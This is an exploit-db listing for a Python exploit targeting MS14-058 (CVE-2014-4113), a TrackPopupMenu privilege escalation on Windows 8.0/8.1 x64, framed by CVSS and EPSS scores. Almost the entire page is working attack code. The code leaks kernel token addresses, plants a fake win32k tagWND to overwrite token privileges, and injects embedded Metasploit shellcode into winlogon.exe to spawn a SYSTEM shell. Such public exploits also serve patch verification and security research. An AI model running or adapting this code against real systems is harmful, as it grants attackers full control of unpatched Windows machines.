Lucene search

K
exploitdbRyujinEDB-ID:37064
HistoryMay 19, 2015 - 12:00 a.m.

Microsoft Windows 8.0/8.1 (x64) - 'TrackPopupMenu' Local Privilege Escalation (MS14-058)

2015-05-1900:00:00
ryujin
www.exploit-db.com
728

8.4 High

AI Score

Confidence

High

7.2 High

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

0.023 Low

EPSS

Percentile

89.6%

# Windows 8.0 - 8.1 x64 TrackPopupMenu Privilege Escalation (MS14-058)
# CVE-2014-4113 Privilege Escalation
# http://www.offensive-security.com
# Thx to Moritz Jodeit for the beautiful writeup 
# http://www.exploit-db.com/docs/35152.pdf 
# Target OS Windows 8.0 - 8.1 x64
# Author: Matteo Memelli ryujin <at> offensive-security.com

# EDB Note: Swapping the shellcode for a bind or reverse shell will BSOD the machine.

from ctypes import *
from ctypes.wintypes import *
import struct, sys, os, time, threading, signal

ULONG_PTR = PVOID = LPVOID
HCURSOR = HICON
PDWORD = POINTER(DWORD)
PQWORD = POINTER(LPVOID)
LRESULT = LPVOID
UCHAR = c_ubyte
QWORD = c_ulonglong
CHAR = c_char
NTSTATUS = DWORD
MIIM_STRING  = 0x00000040
MIIM_SUBMENU = 0x00000004 
WH_CALLWNDPROC = 0x4
GWLP_WNDPROC = -0x4
NULL = 0x0
SystemExtendedHandleInformation = 64
ObjectDataInformation = 2
STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
STATUS_BUFFER_OVERFLOW = 0x80000005L
STATUS_INVALID_HANDLE = 0xC0000008L
STATUS_BUFFER_TOO_SMALL = 0xC0000023L
STATUS_SUCCESS = 0
TOKEN_ALL_ACCESS = 0xf00ff
DISABLE_MAX_PRIVILEGE = 0x1
FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000
PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM  = ( 0x1000 | 0x2000 )
TH32CS_SNAPPROCESS = 0x02

WinFunc1 = WINFUNCTYPE(LPVOID, INT, WPARAM, LPARAM)
WinFunc2 = WINFUNCTYPE(HWND, LPVOID, INT, WPARAM, LPARAM)
WNDPROC  = WINFUNCTYPE(LPVOID, HWND, UINT, WPARAM, LPARAM)

bWndProcFlag = False
bHookCallbackFlag = False
EXPLOITED = False
Hmenu01 = Hmenu02 = None

# /*
#  * windows/x64/exec - 275 bytes
#  * http://www.metasploit.com
#  * VERBOSE=false, PrependMigrate=false, EXITFUNC=thread,
#  * CMD=cmd.exe
#  */
SHELLCODE = (
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
"\x2e\x65\x78\x65\x00")

class LSA_UNICODE_STRING(Structure):
    """Represent the LSA_UNICODE_STRING on ntdll."""
    _fields_ = [
        ("Length", USHORT),
        ("MaximumLength", USHORT),
        ("Buffer", LPWSTR),
    ]

class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
    """Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll."""
    _fields_ = [
        ("Object", PVOID),
        ("UniqueProcessId", PVOID),
        ("HandleValue", PVOID),
        ("GrantedAccess", ULONG),
        ("CreatorBackTraceIndex", USHORT),
        ("ObjectTypeIndex", USHORT),
        ("HandleAttributes", ULONG),
        ("Reserved", ULONG),
    ]
 
class SYSTEM_HANDLE_INFORMATION_EX(Structure):
    """Represent the SYSTEM_HANDLE_INFORMATION on ntdll."""
    _fields_ = [
        ("NumberOfHandles", PVOID),
        ("Reserved", PVOID),
        ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),
    ]

class PUBLIC_OBJECT_TYPE_INFORMATION(Structure):
    """Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll."""
    _fields_ = [
        ("Name", LSA_UNICODE_STRING),
        ("Reserved", ULONG * 22),
    ]
    
class MENUITEMINFO(Structure):
    """Contains information about a menu item."""
    _fields_ = [
        ("cbSize"       , UINT),
        ("fMask"        , UINT),
        ("fType"        , UINT),
        ("fState"       , UINT),
        ("wID"          , UINT),
        ("hSubMenu"     , HMENU),
        ("hbmpChecked"  , HBITMAP),
        ("hbmpUnchecked", HBITMAP),
        ("dwItemData"   , ULONG_PTR),
        ("dwTypeData"   , LPWSTR),
        ("cch"          , UINT),
        ("hbmpItem"     , HBITMAP),
    ]

class WNDCLASS(Structure):
    """Contains the window class attributes that are registered by the 
       RegisterClass function."""
    _fields_ = [
        ("style"        , UINT),
        ("lpfnWndProc"  , WNDPROC),
        ("cbClsExtra"   , INT),
        ("cbWndExtra"   , INT),
        ("hInstance"    , HINSTANCE),
        ("hIcon"        , HCURSOR),
        ("hCursor"      , HBITMAP),
        ("hbrBackground", HBRUSH),
        ("lpszMenuName" , LPWSTR),
        ("lpszClassName", LPWSTR),
    ]
    
class PROCESSENTRY32(Structure):
    """Describes an entry from a list of the processes residing in the system
       address space when a snapshot was taken."""
    _fields_ = [ ( 'dwSize' , DWORD ) ,
                 ( 'cntUsage' , DWORD) ,
                 ( 'th32ProcessID' , DWORD) ,
                 ( 'th32DefaultHeapID' , POINTER(ULONG)) ,
                 ( 'th32ModuleID' , DWORD) ,
                 ( 'cntThreads' , DWORD) ,
                 ( 'th32ParentProcessID' , DWORD) ,
                 ( 'pcPriClassBase' , LONG) ,
                 ( 'dwFlags' , DWORD) ,
                 ( 'szExeFile' , CHAR * MAX_PATH ) 
    ]
    
user32                                      = windll.user32
kernel32                                    = windll.kernel32
ntdll                                       = windll.ntdll
advapi32                                    = windll.advapi32

user32.PostMessageW.argtypes                = [HWND, UINT, WPARAM, LPARAM]
user32.PostMessageW.restype                 = BOOL
user32.DefWindowProcW.argtypes              = [HWND, UINT, WPARAM, LPARAM]
user32.DefWindowProcW.restype               = LRESULT
user32.UnhookWindowsHook.argtypes           = [DWORD, WinFunc1]
user32.UnhookWindowsHook.restype            = BOOL
user32.SetWindowLongPtrW.argtypes           = [HWND, DWORD, WinFunc2]
user32.SetWindowLongPtrW.restype            = LPVOID
user32.CallNextHookEx.argtypes              = [DWORD, DWORD, WPARAM, LPARAM]
user32.CallNextHookEx.restype               = LRESULT
user32.RegisterClassW.argtypes              = [LPVOID]
user32.RegisterClassW.restype               = BOOL
user32.CreateWindowExW.argtypes             = [DWORD, LPWSTR, LPWSTR, DWORD, 
                                                INT, INT, INT, INT, HWND, HMENU,
                                                HINSTANCE, LPVOID]
user32.CreateWindowExW.restype              = HWND
user32.InsertMenuItemW.argtypes             = [HMENU, UINT, BOOL, LPVOID]
user32.InsertMenuItemW.restype              = BOOL
user32.DestroyMenu.argtypes                 = [HMENU]
user32.DestroyMenu.restype                  = BOOL
user32.SetWindowsHookExW.argtypes           = [DWORD, WinFunc1, DWORD, DWORD]
user32.SetWindowsHookExW.restype            = BOOL
user32.TrackPopupMenu.argtypes              = [HMENU, UINT, INT, INT, INT, HWND,
                                                DWORD]
user32.TrackPopupMenu.restype               = BOOL
advapi32.OpenProcessToken.argtypes          = [HANDLE, DWORD , POINTER(HANDLE)]
advapi32.OpenProcessToken.restype           = BOOL
advapi32.CreateRestrictedToken.argtypes     = [HANDLE, DWORD, DWORD, DWORD, 
                                                DWORD, DWORD, DWORD, DWORD,
                                                POINTER(HANDLE)]
advapi32.CreateRestrictedToken.restype      = BOOL
advapi32.AdjustTokenPrivileges.argtypes     = [HANDLE, BOOL, DWORD, DWORD, 
                                                DWORD, DWORD]
advapi32.AdjustTokenPrivileges.restype      = BOOL
advapi32.ImpersonateLoggedOnUser.argtypes   = [HANDLE]
advapi32.ImpersonateLoggedOnUser.restype    = BOOL
kernel32.GetCurrentProcess.restype          = HANDLE
kernel32.WriteProcessMemory.argtypes        = [HANDLE, QWORD, LPCSTR, DWORD, 
                                                POINTER(LPVOID)]
kernel32.WriteProcessMemory.restype         = BOOL
kernel32.OpenProcess.argtypes               = [DWORD, BOOL, DWORD]
kernel32.OpenProcess.restype                = HANDLE
kernel32.VirtualAllocEx.argtypes            = [HANDLE, LPVOID, DWORD, DWORD, 
                                                DWORD]
kernel32.VirtualAllocEx.restype             = LPVOID
kernel32.CreateRemoteThread.argtypes        = [HANDLE, QWORD, UINT, QWORD, 
                                                LPVOID, DWORD, POINTER(HANDLE)]
kernel32.CreateRemoteThread.restype         = BOOL
kernel32.CreateToolhelp32Snapshot.argtypes  = [DWORD, DWORD]
kernel32.CreateToolhelp32Snapshot.restype   = HANDLE
kernel32.CloseHandle.argtypes               = [HANDLE]
kernel32.CloseHandle.restype                = BOOL
kernel32.Process32First.argtypes            = [HANDLE, POINTER(PROCESSENTRY32)]
kernel32.Process32First.restype             = BOOL
kernel32.Process32Next.argtypes             = [HANDLE, POINTER(PROCESSENTRY32)]
kernel32.Process32Next.restype              = BOOL
kernel32.GetCurrentThreadId.restype         = DWORD
ntdll.NtAllocateVirtualMemory.argtypes      = [HANDLE, LPVOID, ULONG, LPVOID,
                                                ULONG, DWORD]
ntdll.NtAllocateVirtualMemory.restype       = NTSTATUS
ntdll.NtQueryObject.argtypes                = [HANDLE, DWORD,
                                        POINTER(PUBLIC_OBJECT_TYPE_INFORMATION),
                                        DWORD, DWORD]
ntdll.NtQueryObject.restype = NTSTATUS
ntdll.NtQuerySystemInformation.argtypes     = [DWORD, 
                                        POINTER(SYSTEM_HANDLE_INFORMATION_EX), 
                                        DWORD, POINTER(DWORD)]
ntdll.NtQuerySystemInformation.restype      = NTSTATUS


def log(msg, e=None):
    if e == "e":
        msg = "[!] " + msg
    if e == "d":
        msg = "[*] " + msg
    else:
        msg = "[+] " + msg
    print msg


def getLastError():
    """Format GetLastError"""
    
    buf = create_string_buffer(2048)
    if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL,
            kernel32.GetLastError(), 0,
            buf, sizeof(buf), NULL):
        log(buf.value, "e")
    else:
        log("Unknown Error", "e")
    
    
class x_file_handles (Exception):
    pass


def get_type_info(handle):
    """Get the handle type information."""
    
    public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION()
    size = DWORD(sizeof(public_object_type_information))
    while True:
        result = ntdll.NtQueryObject(handle, ObjectDataInformation, 
                    byref(public_object_type_information), size, 0x0)
        if result == STATUS_SUCCESS:
            return public_object_type_information.Name.Buffer
        elif result == STATUS_INFO_LENGTH_MISMATCH:
            size = DWORD(size.value * 4)
            resize(public_object_type_information, size.value)
        elif result == STATUS_INVALID_HANDLE:
            return "INVALID HANDLE: %s" % hex(handle)
        else:
            raise x_file_handles("NtQueryObject", hex(result))


def get_handles():
    """Return all the open handles in the system"""
    
    system_handle_information = SYSTEM_HANDLE_INFORMATION_EX()
    size = DWORD (sizeof (system_handle_information))
    while True:
        result = ntdll.NtQuerySystemInformation(
            SystemExtendedHandleInformation,
            byref(system_handle_information),
            size,
            byref(size)
        )
        if result == STATUS_SUCCESS:
            break
        elif result == STATUS_INFO_LENGTH_MISMATCH:
            size = DWORD(size.value * 4)
            resize(system_handle_information, size.value)
        else:
            raise x_file_handles("NtQuerySystemInformation", hex(result))

    pHandles = cast(
        system_handle_information.Handles,
        POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \
                system_handle_information.NumberOfHandles)
    )
    for handle in pHandles.contents:
        yield handle.UniqueProcessId, handle.HandleValue, handle.Object
            
            
def WndProc(hwnd, message, wParam, lParam):
    """Window procedure"""
    
    global bWndProcFlag
    if message == 289 and not bWndProcFlag:
        bWndProcFlag = True
        user32.PostMessageW(hwnd, 256, 40, 0)
        user32.PostMessageW(hwnd, 256, 39, 0)
        user32.PostMessageW(hwnd, 513, 0, 0)
    return user32.DefWindowProcW(hwnd, message, wParam, lParam)
    
    
def hook_callback_one(code, wParam, lParam):
    """Sets a new address for the window procedure"""
    
    global bHookCallbackFlag
    if ((cast((lParam+sizeof(HANDLE)*2),PDWORD)).contents).value == 0x1eb and\
     not bHookCallbackFlag:
        bHookCallbackFlag = True
        if user32.UnhookWindowsHook(WH_CALLWNDPROC, CALLBACK01):
            # Sets a new address for the window procedure
            log("Callback triggered!")
            log("Setting the new address for the window procedure...")
            lpPrevWndFunc = user32.SetWindowLongPtrW\
             ((cast((lParam+sizeof(HANDLE)*3),PDWORD).contents).value,
               GWLP_WNDPROC, CALLBACK02)
    return user32.CallNextHookEx(0, code, wParam, lParam)


def hook_callback_two(hWnd, Msg, wParam, lParam):
    """Once called will return the fake tagWND address"""
    
    global EXPLOITED
    user32.EndMenu()
    EXPLOITED = True
    log("Returning the fake tagWND and overwriting token privileges...")
    return 0x00000000FFFFFFFB


def buildMenuAndTrigger():
    """Create menus and invoke TrackPopupMenu"""
    
    global Hmenu01, Hmenu02
    log("Creating windows and menus...")
    wndClass = WNDCLASS()
    wndClass.lpfnWndProc = WNDPROC(WndProc)
    wndClass.lpszClassName = u"pwned"
    wndClass.cbClsExtra = wndClass.cbWndExtra = 0
    
    # Registering Class
    if not user32.RegisterClassW(addressof(wndClass)):
        log("RegisterClassW failed", "e")
        sys.exit()
        
    # Creating the Window                                 
    hWnd = user32.CreateWindowExW(0, u"pwned", u"pwned", 0, -1, -1, 0,
                                  0, NULL, NULL, NULL, NULL)
                                  
    if not hWnd:
        log("CreateWindowExW Failed", "e")
        sys.exit()
        
    # Creating popup menu
    user32.CreatePopupMenu.restype = HMENU
    Hmenu01 = user32.CreatePopupMenu()
    if not Hmenu01:
        log("CreatePopupMenu failed 0x1", "e")
        sys.exit()
    Hmenu01Info = MENUITEMINFO()
    Hmenu01Info.cbSize = sizeof(MENUITEMINFO)
    Hmenu01Info.fMask = MIIM_STRING
    
    # Insert first menu
    if not user32.InsertMenuItemW(Hmenu01, 0, True, addressof(Hmenu01Info)):
        log("Error in InsertMenuItema 0x1", "e")
        user32.DestroyMenu(Hmenu01)
        sys.exit()
        
    # Creating second menu
    Hmenu02 = user32.CreatePopupMenu()
    if not Hmenu02:
        log("CreatePopupMenu failed 0x2", "e")
        sys.exit()
    Hmenu02Info = MENUITEMINFO()
    Hmenu02Info.cbSize = sizeof(MENUITEMINFO)
    Hmenu02Info.fMask = (MIIM_STRING | MIIM_SUBMENU)
    Hmenu02Info.dwTypeData = ""
    Hmenu02Info.cch = 1
    Hmenu02Info.hSubMenu = Hmenu01
    
    # Insert second menu
    if not user32.InsertMenuItemW(Hmenu02, 0, True, addressof(Hmenu02Info)):
        log("Error in InsertMenuItema 0x2", "e")
        user32.DestroyMenu(Hmenu01)
        user32.DestroyMenu(Hmenu01)
        sys.exit()    
        
    # Set window callback
    tid = kernel32.GetCurrentThreadId()
    if not user32.SetWindowsHookExW(WH_CALLWNDPROC, CALLBACK01, NULL, tid):
        log("Failed SetWindowsHookExA 0x1", "e")
        sys.exit()
        
    # Crash it!
    log("Invoking TrackPopupMenu...")  
    user32.TrackPopupMenu(Hmenu02, 0, -10000, -10000, 0, hWnd, NULL)


def alloctagWND():
    """Allocate a fake tagWND in userspace at address 0x00000000fffffff0"""    
    
    hProcess = HANDLE(kernel32.GetCurrentProcess())
    hToken = HANDLE()
    hRestrictedToken = HANDLE()
    
    if not advapi32.OpenProcessToken(hProcess,TOKEN_ALL_ACCESS, byref(hToken)):
        log("Could not open current process token", "e")
        getLastError()
        sys.exit()
    if not advapi32.CreateRestrictedToken(hToken, DISABLE_MAX_PRIVILEGE, 0, 0, 
                                    0, 0, 0, 0, byref(hRestrictedToken)):
        log("Could not create the restricted token", "e")
        getLastError()
        sys.exit()
    if not advapi32.AdjustTokenPrivileges(hRestrictedToken, 1, NULL, 0, 
                                          NULL, NULL):
        log("Could not adjust privileges to the restricted token", "e")
        getLastError()
        sys.exit()        
    
    # Leak Token addresses in kernel space
    log("Leaking token addresses from kernel space...")
    for pid, handle, obj in get_handles():
        if pid==os.getpid() and get_type_info(handle) == "Token":
            if hToken.value == handle:
                log("Current process token address: %x" % obj)
            if hRestrictedToken.value == handle:
                log("Restricted token address: %x" % obj)
                RestrictedToken = obj
                
    CurrentProcessWin32Process = "\x00"*8
    # nt!_TOKEN+0x40 Privileges : _SEP_TOKEN_PRIVILEGES
    # +0x3 overwrite Enabled in _SEP_TOKEN_PRIVILEGES, -0x8 ADD RAX,0x8 
    TokenAddress = struct.pack("<Q", RestrictedToken+0x40+0x3-0x8)
    tagWND = "\x41"*11 + "\x00\x00\x00\x00" +\
     "\x42"*0xC + "\xf0\xff\xff\xff\x00\x00\x00\x00" +\
     "\x00"*8 +\
     "\x43"*0x145 + CurrentProcessWin32Process + "\x45"*0x58 +\
     TokenAddress + "\x47"*0x28
    ## Allocate space for the input buffer
    lpBaseAddress = LPVOID(0x00000000fffffff0)
    Zerobits      = ULONG(0)
    RegionSize    = LPVOID(0x1000)
    written       = LPVOID(0)                   
    dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffffffffffff,
                                             byref(lpBaseAddress),
                                             0x0,
                                             byref(RegionSize),
                                             VIRTUAL_MEM,
                                             PAGE_EXECUTE_READWRITE)
    if dwStatus != STATUS_SUCCESS:
        log("Failed to allocate tagWND object", "e")
        getLastError()
        sys.exit()
    
    # Copy input buffer to the fake tagWND                       
    nSize = 0x200         
    written = LPVOID(0)
    lpBaseAddress = QWORD(0x00000000fffffff0)
    dwStatus = kernel32.WriteProcessMemory(0xffffffffffffffff, 
                                           lpBaseAddress, 
                                           tagWND, 
                                           nSize,
                                           byref(written)) 
    if dwStatus == 0:
        log("Failed to copy the input buffer to the tagWND object", "e")
        getLastError()
        sys.exit()    
            
    log("Fake win32k!tagWND allocated, written %d bytes to 0x%x" %\
     (written.value, lpBaseAddress.value))                            
    return hRestrictedToken


def injectShell(hPrivilegedToken):
    """Impersonate privileged token and inject shellcode into winlogon.exe"""
    
    while not EXPLOITED:
        time.sleep(0.1)
    log("-"*70)
    log("Impersonating the privileged token...")
    if not advapi32.ImpersonateLoggedOnUser(hPrivilegedToken):
        log("Could not impersonate the privileged token", "e")
        getLastError()
        sys.exit()
        
    # Get winlogon.exe pid
    pid = getpid("winlogon.exe")

    # Get a handle to the winlogon process we are injecting into 
    hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))

    if not hProcess:
        log("Couldn't acquire a handle to PID: %s" % pid, "e")
        sys.exit()

    log("Obtained handle 0x%x for the winlogon.exe process" % hProcess)
    
    # Creating shellcode buffer to inject into the host process
    sh = create_string_buffer(SHELLCODE, len(SHELLCODE))
    code_size = len(SHELLCODE)    
    
    # Allocate some space for the shellcode (in the program memory)
    sh_address = kernel32.VirtualAllocEx(hProcess, 0, code_size, VIRTUAL_MEM, 
                                         PAGE_EXECUTE_READWRITE)
    if not sh_address:
        log("Could not allocate shellcode in the remote process")
        getLastError()
        sys.exit()
        
    log("Allocated memory at address 0x%x" % sh_address)

    # Inject shellcode in to winlogon.exe process space
    written = LPVOID(0)
    shellcode = QWORD(sh_address)
    dwStatus = kernel32.WriteProcessMemory(hProcess, shellcode, sh, code_size, 
                                            byref(written))
    if not dwStatus:
        log("Could not write shellcode into winlogon.exe", "e")
        getLastError()
        sys.exit()
        
    log("Injected %d bytes of shellcode to 0x%x" % (written.value, sh_address))

    # Now we create the remote thread and point its entry routine to be head of 
    # our shellcode
    thread_id = HANDLE(0)
    if not kernel32.CreateRemoteThread(hProcess, 0, 0, sh_address, 0, 0, 
                                        byref(thread_id)):
        log("Failed to inject shellcode into winlogon.exe")
        sys.exit(0)

    log("Remote thread  0x%08x created" % thread_id.value)
    log("Spawning SYSTEM shell...")
    # Kill python process to kill the window and avoid BSODs
    os.kill(os.getpid(), signal.SIGABRT)


def getpid(procname):
    """ Get Process Pid by procname """
    
    pid = None
    try:
        hProcessSnap = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
        pe32 = PROCESSENTRY32()
        pe32.dwSize = sizeof(PROCESSENTRY32)
        ret = kernel32.Process32First(hProcessSnap , byref(pe32))
        while ret:
            if pe32.szExeFile == LPSTR(procname).value:
                pid = pe32.th32ProcessID
            ret = kernel32.Process32Next(hProcessSnap, byref(pe32))
        kernel32.CloseHandle ( hProcessSnap )
    except Exception, e:
        log(str(e), "e")
    if not pid:
        log("Could not find %s PID" % procname)
        sys.exit()
    return pid


CALLBACK01 = WinFunc1(hook_callback_one)    
CALLBACK02 = WinFunc2(hook_callback_two)
    
    
if __name__ == '__main__':
    log("MS14-058 Privilege Escalation - ryujin <at> offensive-security.com", 
        "d")
    # Prepare the battlefield
    hPrivilegedToken = alloctagWND()
    # Start the injection thread
    t1 = threading.Thread(target=injectShell, args = (hPrivilegedToken,))
    t1.daemon = False
    t1.start()
    # Trigger the vuln
    buildMenuAndTrigger()

8.4 High

AI Score

Confidence

High

7.2 High

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

0.023 Low

EPSS

Percentile

89.6%